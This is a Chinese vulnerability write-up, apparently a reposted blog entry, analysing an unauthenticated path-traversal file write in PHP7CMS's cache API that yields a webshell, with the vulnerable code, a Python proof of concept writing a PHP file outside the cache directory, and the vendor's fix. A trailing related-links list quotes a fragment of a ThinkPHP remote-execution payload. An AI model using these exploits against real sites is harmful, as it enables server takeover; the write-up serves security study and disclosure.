php7 cms,PHP7CMS 无条件前台GETSHELL
Version:2018-10-09
//最新版中以修复此漏洞
这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。
[PHP] 纯文本查看 复制代码// php7cms/Core/Controllers/Api/Api.php
// 52~61 line
public function save_form_data() {
$rt = \Phpcmf\Service::L('cache')->init('file')->save(
\Phpcmf\Service::L('Input')->get('name'),
\Phpcmf\Service::L('Input')->post('data'),
7200
);
var_dump($rt);
exit;
}
调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。
[PHP] 纯文本查看 复制代码// php7cms/Fcms/Library/Cache.php
// 112~121 line
public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {
$config = new \Config\Cache();
$config->handler = 'file';
$config->prefix = $prefix;
!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';
$config->path = WRITEPATH.'caching/';
$cache = \Config\Services::cache($config, 0);
return $cache;
}
初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。
直接看最后一步
[PHP] 纯文本查看 复制代码// php7cms/System/Cache/Handlers
// 107~125 line
public function save(string $key, $value, int $ttl = 60)
{
$key = $this->prefix . $key;
$contents = [
'time' => time(),
'ttl' => $ttl,
'data' => $value,
];
if ($this->writeFile($this->path . $key, serialize($contents)))
{
chmod($this->path . $key, 0640);
return true;
}
return false;
}
[PHP] 纯文本查看 复制代码//324~345 line
protected function writeFile($path, $data, $mode = 'wb')
{
if (($fp = @fopen($path, $mode)) === false)
{
return false;
}
flock($fp, LOCK_EX);
for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($data, $written))) === false)
{
break;
}
}
flock($fp, LOCK_UN);
fclose($fp);
return is_int($result);
}
直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。
POC:
[PHP] 纯文本查看 复制代码from requests import post
postData = {
'data':'<?php phpinfo()?>'
}
postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)
-1.png (123.79 KB, 下载次数: 23)
2018-12-14 13:05 上传
新版修复:
3.png (27.21 KB, 下载次数: 28)
2018-12-14 13:07 上传
首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。
03.png (35.6 KB, 下载次数: 26)
2018-12-14 13:07 上传
php7 cms,PHP7CMS 无条件前台GETSHELL相关推荐
- PHP7CMS 无条件前台GETSHELL
PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的. 01 02 ...
- Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...
- php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell
原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景 网站为了实现加速访问,会将用户访问过的页面 ...
- [复现]蝉知cms 5.6 前台注入
https://share.weiyun.com/5cbff06337d32a9748d0f1bead5ddbd5 前台注入 在/chanzhieps/system/module/cart/contr ...
- SAP Spartacus里Commerce后台CMS Component和前台Angular的一一映射关系
在configuration.service.ts的config对象里查看: 路径如下: 高亮的都是CMS Component,这些key的value就是Spartacus里实现的Angular Co ...
- 正方教务系统php登陆,正方教务管理系统最新版无条件注入GetShell | wooyun-2015-0122523| WooYun.org...
正方教务系统提供了一系列的WebService接口,然而这些接口并未经过严格的认证,从而导致任何浏览者都可以使用这些接口查询信息.由于其对用户提交的参数未进行过滤,从而导致注入的发生! 搜索发现正方教 ...
- siteservercms 缺点_Siteserver CMS 远程模板下载Getshell漏洞
SiteServerCMS-Remote-download-Getshell-vulnerability SiteServerCMS 远程模板下载Getshell漏洞 avatar 漏洞缺陷是由于后台 ...
- phpcms v9前台getshell
PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠 ...
- catfish V4.8.48-4.8.54 前台getshell复现过程
s=dir&filter[]=system&_method=__construct&method=* s=echo "<?php @eval($_POST['a ...
最新文章
- Android中Handler消息机制
- UVA839 天平 Not so Mobile(二叉树的递归遍历建树并回答问题)
- 从此以后,江湖有了它的传说!
- 他让张一鸣登门请教,培养出戴文渊李沐陈天奇,创建了传说中的上海交大ACM班...
- 封装CoreGraphics的API简化绘图操作
- php链接页面时加..,怎么给一个PHP密码访问页面加超链接
- 获香港证监会颁发牌照的弘量研究,正用智能投顾帮助金融机构降低成本,提升资产管理能力 By 藤子2017年10月09日 17:16 撰文 | 藤子 2015 年,雷春然和黄耀东都是在香港科技大学的
- nginx代理转发_学了三年的性能调优,你还不懂Nginx?怎么跳槽涨薪
- js Blob对象介绍
- SAP R/3系统的R和3分别代表什么含义,负载均衡的实现原理 1
- CF思维联系– Codeforces-990C Bracket Sequences Concatenation Problem(括号匹配+模拟)
- 二进制安装mariadb-10.2.8
- 国外著名java技术资料网站
- java非侵入式接口实现,C++编写非侵入式接口
- 代码随笔——点阵汉字在LCD上的显示
- php7 生成.so,centos8 php7 生成 openssl.so 文件执行make时报错:【已解决】
- 记一次设置密钥登陆centos7所遇问题
- Log4J2 靶场漏洞复现
- 射影几何----共线四点保交比的三种射影变换类型的几何表示
- Hbase、Kudu和ClickHouse横向对比
热门文章
- linux系统怎样写单片机程序,单片机知识是Linux驱动开发的基础之一以及如何学单片机...
- python手把手教程_【Python 1-7】Python手把手教程之——详解列表List
- python将print内容输入txt_Python将矩阵写入txt文件,保持格式
- Java ObjectInputStream close()方法与示例
- 详解4种经典的限流算法
- 案例:Redis 问题汇总和相关解决方案
- 电脑系统越来越慢,怎么删除临时文件
- html标签名都是小写,到底啥是w3c标准(示例代码)
- arm b bl 地址无关码_32位和64位下的arm_pwn初探
- mysql主从配置_MySQL主从配置详解